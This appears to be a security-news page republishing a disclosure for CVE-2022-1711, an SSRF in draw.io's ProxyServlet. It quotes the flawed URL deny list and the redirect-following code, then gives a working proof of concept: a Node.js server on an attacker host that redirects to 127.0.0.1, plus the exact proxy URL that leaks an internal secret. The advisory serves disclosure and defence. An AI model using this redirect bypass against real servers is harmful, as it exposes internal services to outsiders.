Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-1711: SSRF via Unvalidated Redirects in ProxyServlet in drawio

Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.5.

CVE
#web#ios#nodejs#js#git#java#ssrf

Description

Through the ProxyServlet external content can be retrieved. This can be done by providing a URL in the url query parameter. There are a few restrictions in place, especially internal hosts are forbidden. The validation of the url parameter looks as follows:

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L233-L282

    public boolean checkUrlParameter(String url)
    {
        if (url != null)
        {
            try
            {
                URL parsedUrl = new URL(url);
                String protocol = parsedUrl.getProtocol();
                String host = parsedUrl.getHost().toLowerCase();

                return (protocol.equals("http") || protocol.equals("https"))
                        && !host.endsWith(".internal")
                        && !host.endsWith(".local")
                        && !host.contains("localhost")
                        && !host.startsWith("0.") // 0.0.0.0/8
                        && !host.startsWith("10.") // 10.0.0.0/8
                        && !host.startsWith("127.") // 127.0.0.0/8
                        && !host.startsWith("169.254.") // 169.254.0.0/16
                        && !host.startsWith("172.16.") // 172.16.0.0/12
                        && !host.startsWith("172.17.") // 172.16.0.0/12
                        && !host.startsWith("172.18.") // 172.16.0.0/12
                        && !host.startsWith("172.19.") // 172.16.0.0/12
                        && !host.startsWith("172.20.") // 172.16.0.0/12
                        && !host.startsWith("172.21.") // 172.16.0.0/12
                        && !host.startsWith("172.22.") // 172.16.0.0/12
                        && !host.startsWith("172.23.") // 172.16.0.0/12
                        && !host.startsWith("172.24.") // 172.16.0.0/12
                        && !host.startsWith("172.25.") // 172.16.0.0/12
                        && !host.startsWith("172.26.") // 172.16.0.0/12
                        && !host.startsWith("172.27.") // 172.16.0.0/12
                        && !host.startsWith("172.28.") // 172.16.0.0/12
                        && !host.startsWith("172.29.") // 172.16.0.0/12
                        && !host.startsWith("172.30.") // 172.16.0.0/12
                        && !host.startsWith("172.31.") // 172.16.0.0/12
                        && !host.startsWith("192.0.0.") // 192.0.0.0/24
                        && !host.startsWith("192.168.") // 192.168.0.0/16
                        && !host.startsWith("198.18.") // 198.18.0.0/15
                        && !host.startsWith("198.19.") // 198.18.0.0/15
                        && !host.endsWith(".arpa"); // reverse domain (needed?)
            }
            catch (MalformedURLException e)
            {
                return false;
            }
        }
        else
        {
            return false;
        }
    }

All of the restrictions of the URL validation function can be bypassed. The cause for this can be found in the doGet method. The URL validation check is performed only on the initial url parameter in the GET request.

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L65-L71

    protected void doGet(HttpServletRequest request,
            HttpServletResponse response) throws ServletException, IOException
    {
        String urlParam = request.getParameter("url");

        if (checkUrlParameter(urlParam))
        {

After the initial request, potential redirects are followed. However, there are no checks against the value of the Location header, which will be used for the URLConnection on subsequent requests.

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L113-L143

                    // Follows a maximum of 6 redirects 
                    while (counter++ <= 6
                            && (status == HttpURLConnection.HTTP_MOVED_PERM
                                    || status == HttpURLConnection.HTTP_MOVED_TEMP))
                    {
                        url = new URL(connection.getHeaderField("Location"));
                        connection = url.openConnection();
                        ((HttpURLConnection) connection)
                                .setInstanceFollowRedirects(true);
                        connection.setConnectTimeout(TIMEOUT);
                        connection.setReadTimeout(TIMEOUT);

                        // Workaround for 451 response from Iconfinder CDN
                        connection.setRequestProperty("User-Agent", "draw.io");
                        status = ((HttpURLConnection) connection)
                                .getResponseCode();
                    }

                    if (status >= 200 && status <= 299)
                    {
                        response.setStatus(status);
                        
                        // Copies input stream to output stream
                        InputStream is = connection.getInputStream();
                        byte[] head = (contentAlwaysAllowed(urlParam)) ? emptyBytes
                                : Utils.checkStreamContent(is);
                        response.setContentType("application/octet-stream");
                        String base64 = request.getParameter("base64");
                        copyResponse(is, out, head,
                                base64 != null && base64.equals("1"));
                    }

This allows sending HTTP requests to arbitrary internal and external hosts/URLs and bypassing the restrictions of the validation function.

Proof of Concept

For the proof of concept we have three servers, one attacker controlled server, the server where the draw.io webapp is located, and an internal server that contains a secret.

Attacker server:
This server serves the purpose of redirecting to URLs of the attackers choice. For example the following script, saved as server.js can be run with Node.js (node server.js):

const http = require('http');

const requestListener = function (req, res) {
  res.writeHead(301, {
      "Location": "http://127.0.0.1:9001/"
  });
  res.end();
}

const server = http.createServer(requestListener);
server.listen(9000);

For this PoC this server runs under hax.7085.at:9000.

draw.io web app
The draw.io webapp is located under draw.7085.at:8080/draw.

Internal server
The internal server is located under 127.0.0.1:9001.

const http = require('http');

const requestListener = function (req, res) {
  res.writeHead(200, {
    "Content-Type": "text/html"
  });
  res.end("<html>internal secret</html>");
}

const server = http.createServer(requestListener);
server.listen(9001);

After everything is set up, then a request to the ProxyServlet of the draw.io web app can be sent by providing the URL to the attackers server in the url parameter in the following format: <url-to-webapp-host>/proxy?url=http://hax.7085.at:9000/. So the URL in this case would be http://draw.7085.at:8080/draw/proxy?url=http://hax.7085.at:9000/.

Sending a request to this URL will bypass the restrictions and reveal the secret of the internal server.

Impact

It allows sending HTTP requests to arbitrary hosts, bypassing the URL restrictions and accessing otherwise forbidden internal hosts, reading the full response.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907